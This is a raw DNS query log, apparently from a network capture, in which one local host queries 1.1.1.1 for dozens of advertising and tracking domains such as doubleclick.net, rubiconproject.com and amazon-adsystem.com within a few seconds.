Apr 11, 2024 23:27:02.535828114 CEST	192.168.2.17	1.1.1.1	0x8818	Standard query (0)	ads.creative-serving.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.536004066 CEST	192.168.2.17	1.1.1.1	0xab6f	Standard query (0)	ads.creative-serving.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.582416058 CEST	192.168.2.17	1.1.1.1	0xa404	Standard query (0)	rtb.gumgum.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.583532095 CEST	192.168.2.17	1.1.1.1	0x4052	Standard query (0)	rtb.gumgum.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.797269106 CEST	192.168.2.17	1.1.1.1	0x1a1c	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.797528982 CEST	192.168.2.17	1.1.1.1	0x2bc3	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.802366018 CEST	192.168.2.17	1.1.1.1	0xe1ab	Standard query (0)	static.criteo.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.802500010 CEST	192.168.2.17	1.1.1.1	0x17c4	Standard query (0)	static.criteo.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.815527916 CEST	192.168.2.17	1.1.1.1	0x6aad	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.815675974 CEST	192.168.2.17	1.1.1.1	0x54c9	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.924921989 CEST	192.168.2.17	1.1.1.1	0xf89	Standard query (0)	simage4.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.925055027 CEST	192.168.2.17	1.1.1.1	0x8932	Standard query (0)	simage4.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.949678898 CEST	192.168.2.17	1.1.1.1	0xdd2f	Standard query (0)	image4.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.949904919 CEST	192.168.2.17	1.1.1.1	0xc764	Standard query (0)	image4.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.090818882 CEST	192.168.2.17	1.1.1.1	0xf6eb	Standard query (0)	invstatic101.creativecdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.090955973 CEST	192.168.2.17	1.1.1.1	0x4c66	Standard query (0)	invstatic101.creativecdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.187849998 CEST	192.168.2.17	1.1.1.1	0x6f87	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.187990904 CEST	192.168.2.17	1.1.1.1	0xd95	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.227193117 CEST	192.168.2.17	1.1.1.1	0x544b	Standard query (0)	client-rapi-mediavine.recombee.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.227449894 CEST	192.168.2.17	1.1.1.1	0x5123	Standard query (0)	client-rapi-mediavine.recombee.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.276597977 CEST	192.168.2.17	1.1.1.1	0xfd77	Standard query (0)	oa.openxcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.276891947 CEST	192.168.2.17	1.1.1.1	0x8061	Standard query (0)	oa.openxcdn.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.280195951 CEST	192.168.2.17	1.1.1.1	0xdbbe	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.280302048 CEST	192.168.2.17	1.1.1.1	0xd94f	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.335129976 CEST	192.168.2.17	1.1.1.1	0xc258	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.335273981 CEST	192.168.2.17	1.1.1.1	0x8996	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.437112093 CEST	192.168.2.17	1.1.1.1	0xfce8	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.437256098 CEST	192.168.2.17	1.1.1.1	0x29d4	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.470406055 CEST	192.168.2.17	1.1.1.1	0x1b0d	Standard query (0)	pippio.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.470556974 CEST	192.168.2.17	1.1.1.1	0x40ff	Standard query (0)	pippio.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.514151096 CEST	192.168.2.17	1.1.1.1	0xd48f	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.514319897 CEST	192.168.2.17	1.1.1.1	0x4bb6	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.535068035 CEST	192.168.2.17	1.1.1.1	0x6dd8	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.535218000 CEST	192.168.2.17	1.1.1.1	0x3291	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.539920092 CEST	192.168.2.17	1.1.1.1	0x2f24	Standard query (0)	pixel-us-west.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.540113926 CEST	192.168.2.17	1.1.1.1	0x1f7e	Standard query (0)	pixel-us-west.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.550060034 CEST	192.168.2.17	1.1.1.1	0xc323	Standard query (0)	events-ssc.33across.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.550204039 CEST	192.168.2.17	1.1.1.1	0x5321	Standard query (0)	events-ssc.33across.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.629904985 CEST	192.168.2.17	1.1.1.1	0xd24e	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.630048037 CEST	192.168.2.17	1.1.1.1	0x1fcf	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.746424913 CEST	192.168.2.17	1.1.1.1	0x14f0	Standard query (0)	pm.w55c.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.746691942 CEST	192.168.2.17	1.1.1.1	0x2eee	Standard query (0)	pm.w55c.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.782421112 CEST	192.168.2.17	1.1.1.1	0x85be	Standard query (0)	cms.quantserve.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.782572985 CEST	192.168.2.17	1.1.1.1	0x4a3	Standard query (0)	cms.quantserve.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.795497894 CEST	192.168.2.17	1.1.1.1	0xcbaf	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.795671940 CEST	192.168.2.17	1.1.1.1	0xe17f	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.867197990 CEST	192.168.2.17	1.1.1.1	0x6006	Standard query (0)	t.adx.opera.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.867441893 CEST	192.168.2.17	1.1.1.1	0xd31a	Standard query (0)	t.adx.opera.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.874361992 CEST	192.168.2.17	1.1.1.1	0x625b	Standard query (0)	pixel-eu.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.874505997 CEST	192.168.2.17	1.1.1.1	0x65c9	Standard query (0)	pixel-eu.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.875574112 CEST	192.168.2.17	1.1.1.1	0x9e65	Standard query (0)	sync.1rx.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.875802040 CEST	192.168.2.17	1.1.1.1	0x7aaf	Standard query (0)	sync.1rx.io	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.876163960 CEST	192.168.2.17	1.1.1.1	0x70d9	Standard query (0)	openrtb-us-east-1.axonix.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.876354933 CEST	192.168.2.17	1.1.1.1	0xf9c3	Standard query (0)	openrtb-us-east-1.axonix.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.876701117 CEST	192.168.2.17	1.1.1.1	0xb15e	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.876950979 CEST	192.168.2.17	1.1.1.1	0xf946	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.877835035 CEST	192.168.2.17	1.1.1.1	0x61d0	Standard query (0)	pixel-sync.sitescout.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.877990961 CEST	192.168.2.17	1.1.1.1	0xc387	Standard query (0)	pixel-sync.sitescout.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.908231020 CEST	192.168.2.17	1.1.1.1	0x54fd	Standard query (0)	beacon.lynx.cognitivlabs.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.908376932 CEST	192.168.2.17	1.1.1.1	0xd4ed	Standard query (0)	beacon.lynx.cognitivlabs.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.909451962 CEST	192.168.2.17	1.1.1.1	0x9168	Standard query (0)	thrtle.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.909677029 CEST	192.168.2.17	1.1.1.1	0x15c8	Standard query (0)	thrtle.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.911005974 CEST	192.168.2.17	1.1.1.1	0x3f7d	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.911159992 CEST	192.168.2.17	1.1.1.1	0xd7d7	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.911685944 CEST	192.168.2.17	1.1.1.1	0x7f25	Standard query (0)	sync.bfmio.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.911827087 CEST	192.168.2.17	1.1.1.1	0x12a4	Standard query (0)	sync.bfmio.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.970969915 CEST	192.168.2.17	1.1.1.1	0x31f3	Standard query (0)	pubmatic-match.dotomi.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.971281052 CEST	192.168.2.17	1.1.1.1	0xd7d7	Standard query (0)	pubmatic-match.dotomi.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.974989891 CEST	192.168.2.17	1.1.1.1	0x3e4a	Standard query (0)	pmp.mxptint.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.975195885 CEST	192.168.2.17	1.1.1.1	0xefd6	Standard query (0)	pmp.mxptint.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.978516102 CEST	192.168.2.17	1.1.1.1	0x30d2	Standard query (0)	rtb.adentifi.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:03.978682995 CEST	192.168.2.17	1.1.1.1	0x5bf0	Standard query (0)	rtb.adentifi.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:03.988035917 CEST	192.168.2.17	1.1.1.1	0x78e	Standard query (0)	openrtb-us-east-1.axonix.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.001595020 CEST	192.168.2.17	1.1.1.1	0xb6ac	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.001784086 CEST	192.168.2.17	1.1.1.1	0x6eed	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.220871925 CEST	192.168.2.17	1.1.1.1	0xf6d1	Standard query (0)	pghub.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.221302032 CEST	192.168.2.17	1.1.1.1	0xeb1b	Standard query (0)	pghub.io	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.221905947 CEST	192.168.2.17	1.1.1.1	0x6dcc	Standard query (0)	esp.rtbhouse.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.222063065 CEST	192.168.2.17	1.1.1.1	0xc02c	Standard query (0)	esp.rtbhouse.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.222327948 CEST	192.168.2.17	1.1.1.1	0xf6c0	Standard query (0)	cdn.opecloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.222441912 CEST	192.168.2.17	1.1.1.1	0x7562	Standard query (0)	cdn.opecloud.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.225109100 CEST	192.168.2.17	1.1.1.1	0x536a	Standard query (0)	oajs.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.225435019 CEST	192.168.2.17	1.1.1.1	0x70f4	Standard query (0)	oajs.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.352571011 CEST	192.168.2.17	1.1.1.1	0x804f	Standard query (0)	events-ssc.33across.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.352713108 CEST	192.168.2.17	1.1.1.1	0x65c8	Standard query (0)	events-ssc.33across.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.411518097 CEST	192.168.2.17	1.1.1.1	0x7d4b	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.411672115 CEST	192.168.2.17	1.1.1.1	0xc5e8	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.501864910 CEST	192.168.2.17	1.1.1.1	0xa7ba	Standard query (0)	r.bidswitch.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.502037048 CEST	192.168.2.17	1.1.1.1	0xbaa5	Standard query (0)	r.bidswitch.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.549053907 CEST	192.168.2.17	1.1.1.1	0x4b30	Standard query (0)	aorta.clickagy.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.549257040 CEST	192.168.2.17	1.1.1.1	0xe6e2	Standard query (0)	aorta.clickagy.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.577444077 CEST	192.168.2.17	1.1.1.1	0x3c35	Standard query (0)	config.aps.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.577752113 CEST	192.168.2.17	1.1.1.1	0xef3b	Standard query (0)	config.aps.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.622567892 CEST	192.168.2.17	1.1.1.1	0x94a3	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.622880936 CEST	192.168.2.17	1.1.1.1	0xf0f6	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.678723097 CEST	192.168.2.17	1.1.1.1	0xe7cb	Standard query (0)	c.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.678874969 CEST	192.168.2.17	1.1.1.1	0x8f00	Standard query (0)	c.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.775408030 CEST	192.168.2.17	1.1.1.1	0x2a76	Standard query (0)	sync.aralego.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.775597095 CEST	192.168.2.17	1.1.1.1	0x7c0f	Standard query (0)	sync.aralego.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.907538891 CEST	192.168.2.17	1.1.1.1	0x27d5	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.907677889 CEST	192.168.2.17	1.1.1.1	0xf71d	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:04.919069052 CEST	192.168.2.17	1.1.1.1	0xd4c	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.919224024 CEST	192.168.2.17	1.1.1.1	0xca4e	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.116437912 CEST	192.168.2.17	1.1.1.1	0x404e	Standard query (0)	cs.krushmedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.116739988 CEST	192.168.2.17	1.1.1.1	0x4415	Standard query (0)	cs.krushmedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.177606106 CEST	192.168.2.17	1.1.1.1	0xd9fd	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.177822113 CEST	192.168.2.17	1.1.1.1	0x1a8b	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.219403028 CEST	192.168.2.17	1.1.1.1	0x9858	Standard query (0)	hbopenbid.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.219680071 CEST	192.168.2.17	1.1.1.1	0xf552	Standard query (0)	hbopenbid.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.226334095 CEST	192.168.2.17	1.1.1.1	0x9c48	Standard query (0)	prebid-server.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.226775885 CEST	192.168.2.17	1.1.1.1	0xf60f	Standard query (0)	prebid-server.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.229891062 CEST	192.168.2.17	1.1.1.1	0x1955	Standard query (0)	aax.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.230031013 CEST	192.168.2.17	1.1.1.1	0x4dcd	Standard query (0)	aax.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.230504990 CEST	192.168.2.17	1.1.1.1	0x786a	Standard query (0)	tlx.3lift.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.230643988 CEST	192.168.2.17	1.1.1.1	0x6b9f	Standard query (0)	tlx.3lift.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.231195927 CEST	192.168.2.17	1.1.1.1	0x776f	Standard query (0)	fastlane.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.231349945 CEST	192.168.2.17	1.1.1.1	0xdcfd	Standard query (0)	fastlane.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.424417019 CEST	192.168.2.17	1.1.1.1	0x86dd	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.424562931 CEST	192.168.2.17	1.1.1.1	0x12e3	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.690649986 CEST	192.168.2.17	1.1.1.1	0x2b13	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.690789938 CEST	192.168.2.17	1.1.1.1	0x71e4	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.853921890 CEST	192.168.2.17	1.1.1.1	0x6677	Standard query (0)	capi.connatix.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.854041100 CEST	192.168.2.17	1.1.1.1	0xb190	Standard query (0)	capi.connatix.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.899166107 CEST	192.168.2.17	1.1.1.1	0x4efd	Standard query (0)	pdmp.dcapi.tagger.opecloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.899329901 CEST	192.168.2.17	1.1.1.1	0x818c	Standard query (0)	pdmp.dcapi.tagger.opecloud.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.900928020 CEST	192.168.2.17	1.1.1.1	0xc532	Standard query (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.901067019 CEST	192.168.2.17	1.1.1.1	0x1db8	Standard query (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:05.952873945 CEST	192.168.2.17	1.1.1.1	0xc5e4	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.953016996 CEST	192.168.2.17	1.1.1.1	0x51bc	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:06.017458916 CEST	192.168.2.17	1.1.1.1	0xbce4	Standard query (0)	esp.rtbhouse.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.017612934 CEST	192.168.2.17	1.1.1.1	0x6d43	Standard query (0)	esp.rtbhouse.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:06.244797945 CEST	192.168.2.17	1.1.1.1	0xfe27	Standard query (0)	live.primis.tech	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.244940042 CEST	192.168.2.17	1.1.1.1	0xb7ab	Standard query (0)	live.primis.tech	65	IN (0x0001)	false
Apr 11, 2024 23:27:06.439104080 CEST	192.168.2.17	1.1.1.1	0xdde5	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.439235926 CEST	192.168.2.17	1.1.1.1	0x5729	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:06.536750078 CEST	192.168.2.17	1.1.1.1	0x3d2d	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.536890030 CEST	192.168.2.17	1.1.1.1	0x73bd	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:06.696576118 CEST	192.168.2.17	1.1.1.1	0x48b1	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.696717024 CEST	192.168.2.17	1.1.1.1	0x9add	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:06.778971910 CEST	192.168.2.17	1.1.1.1	0x712e	Standard query (0)	google-bidout-d.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779144049 CEST	192.168.2.17	1.1.1.1	0xc841	Standard query (0)	google-bidout-d.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:06.781322956 CEST	192.168.2.17	1.1.1.1	0xa65a	Standard query (0)	oajs.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.781656981 CEST	192.168.2.17	1.1.1.1	0x1fdf	Standard query (0)	oajs.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:06.866355896 CEST	192.168.2.17	1.1.1.1	0xb14b	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.866533041 CEST	192.168.2.17	1.1.1.1	0x19c4	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.030035973 CEST	192.168.2.17	1.1.1.1	0x3136	Standard query (0)	aax.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.030832052 CEST	192.168.2.17	1.1.1.1	0xf3da	Standard query (0)	aax.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.068341970 CEST	192.168.2.17	1.1.1.1	0xfa48	Standard query (0)	pixel-us-east.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.068602085 CEST	192.168.2.17	1.1.1.1	0xfa89	Standard query (0)	pixel-us-east.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.077163935 CEST	192.168.2.17	1.1.1.1	0x31b3	Standard query (0)	data.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.077316046 CEST	192.168.2.17	1.1.1.1	0xf979	Standard query (0)	data.adsrvr.org	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.240114927 CEST	192.168.2.17	1.1.1.1	0x1f42	Standard query (0)	s0.2mdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.240302086 CEST	192.168.2.17	1.1.1.1	0x834	Standard query (0)	s0.2mdn.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.251949072 CEST	192.168.2.17	1.1.1.1	0x22c6	Standard query (0)	sync.technoratimedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.252098083 CEST	192.168.2.17	1.1.1.1	0xb4b9	Standard query (0)	sync.technoratimedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.333072901 CEST	192.168.2.17	1.1.1.1	0xca34	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.333225012 CEST	192.168.2.17	1.1.1.1	0x668b	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.519004107 CEST	192.168.2.17	1.1.1.1	0xd23	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.519151926 CEST	192.168.2.17	1.1.1.1	0x86b2	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.565867901 CEST	192.168.2.17	1.1.1.1	0xd018	Standard query (0)	fastlane.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.566006899 CEST	192.168.2.17	1.1.1.1	0xdde6	Standard query (0)	fastlane.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.670110941 CEST	192.168.2.17	1.1.1.1	0xd026	Standard query (0)	prebid-server.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.670257092 CEST	192.168.2.17	1.1.1.1	0x20a6	Standard query (0)	prebid-server.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.825030088 CEST	192.168.2.17	1.1.1.1	0x6f2d	Standard query (0)	sync.intentiq.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.825155020 CEST	192.168.2.17	1.1.1.1	0xdd07	Standard query (0)	sync.intentiq.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.825447083 CEST	192.168.2.17	1.1.1.1	0x3c09	Standard query (0)	pdmp.dcapi.tagger.opecloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.825562000 CEST	192.168.2.17	1.1.1.1	0xddb0	Standard query (0)	pdmp.dcapi.tagger.opecloud.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.825829983 CEST	192.168.2.17	1.1.1.1	0xa6ba	Standard query (0)	hbopenbid.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.825999022 CEST	192.168.2.17	1.1.1.1	0x5fc7	Standard query (0)	hbopenbid.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.882591009 CEST	192.168.2.17	1.1.1.1	0xa7e0	Standard query (0)	thrtle.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.882738113 CEST	192.168.2.17	1.1.1.1	0xcb5c	Standard query (0)	thrtle.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.938204050 CEST	192.168.2.17	1.1.1.1	0xef5c	Standard query (0)	dis.criteo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.938433886 CEST	192.168.2.17	1.1.1.1	0x14e1	Standard query (0)	dis.criteo.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.940882921 CEST	192.168.2.17	1.1.1.1	0x58ee	Standard query (0)	ad.mrtnsvr.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.941025972 CEST	192.168.2.17	1.1.1.1	0x74c4	Standard query (0)	ad.mrtnsvr.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.957521915 CEST	192.168.2.17	1.1.1.1	0xe934	Standard query (0)	a.tribalfusion.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.957685947 CEST	192.168.2.17	1.1.1.1	0x6519	Standard query (0)	a.tribalfusion.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.960213900 CEST	192.168.2.17	1.1.1.1	0xca39	Standard query (0)	ums.acuityplatform.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.961319923 CEST	192.168.2.17	1.1.1.1	0xe024	Standard query (0)	ums.acuityplatform.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.986349106 CEST	192.168.2.17	1.1.1.1	0xda17	Standard query (0)	sync.mathtag.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.986664057 CEST	192.168.2.17	1.1.1.1	0xda35	Standard query (0)	sync.mathtag.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.989960909 CEST	192.168.2.17	1.1.1.1	0x26ee	Standard query (0)	csync.loopme.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.990154982 CEST	192.168.2.17	1.1.1.1	0x2542	Standard query (0)	csync.loopme.me	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.992086887 CEST	192.168.2.17	1.1.1.1	0xcc9a	Standard query (0)	gocm.c.appier.net	A (IP address)	IN (0x0001)	false
